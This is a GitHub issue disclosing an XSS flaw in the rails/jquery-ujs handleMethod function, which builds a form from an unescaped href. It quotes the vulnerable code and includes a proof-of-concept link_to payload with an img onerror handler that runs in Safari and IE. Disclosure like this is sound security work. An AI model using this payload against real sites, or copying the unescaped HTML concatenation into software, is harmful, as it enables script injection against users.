rails / jquery-ujs

Ruby on Rails unobtrusive scripting adapter for jQuery
MIT License
2.61k stars 507 forks source link

XSS in some browsers #517

Open ooooooo-q opened 4 years ago

ooooooo-q commented 4 years ago

hello,

I found an XSS that occurs with jquery-ujs and jquery-rails. I have confirmed the operation with Safari and IE (and old version of Edge).

The problematic part is the following handleMethod part. The value of href is used without escaping. (The method, csrfParam, csrfToken have the same problem, but it is rare for user input to enter this part.)

// https://github.com/rails/jquery-ujs/blob/master/src/rails.js#L215

handleMethod: function(link) {
  var href = rails.href(link),
    method = link.data('method'),
    target = link.attr('target'),
    csrfToken = rails.csrfToken(),
    csrfParam = rails.csrfParam(),
    form = $('<form method="post" action="' + href + '"></form>'),
    metadataInput = '<input name="_method" value="' + method + '" type="hidden" />';

  if (csrfParam !== undefined && csrfToken !== undefined && !rails.isCrossDomain(href)) {
    metadataInput += '<input name="' + csrfParam + '" value="' + csrfToken + '" type="hidden" />';
  }    

This value is taken from the DOM .href

//https://github.com/rails/jquery-ujs/blob/master/src/rails.js#L101
href: function(element) {
  return element[0].href;
},

// https://github.com/rails/jquery-ujs/blob/master/src/rails.js#L430
$document.on('click.rails', rails.linkClickSelector, function(e) {
  var link = $(this), method = link.data('method'), data = link.data('params'), metaClick = e.metaKey || e.ctrlKey;

  ...

  } else if (method) {
    rails.handleMethod(link);
    return false;
  }

PoC

The attack code can be included after #" if the user can write a link as follows:

# erb example
<%= link_to 'alert', '"?">#"><img src=. onerror=alert(location)>', data: { method: 'get' } %>

# rendered html
# => <a data-method="get" href="&quot;?&quot;&gt;#&quot;&gt;&lt;img src=. onerror=alert(location)&gt;">alert</a>

Whether the results of element[0].href were percent encoded was browser dependent. Firefox and Chrome are encoded, Safari and Internet Explorer are XSS happened.


On the other hand, rails-ujs included in Rails 5 is safe because it operates the DOM directly. https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts/rails-ujs/features/method.coffee#L26

This issue was reported to hackerone but was out of scope.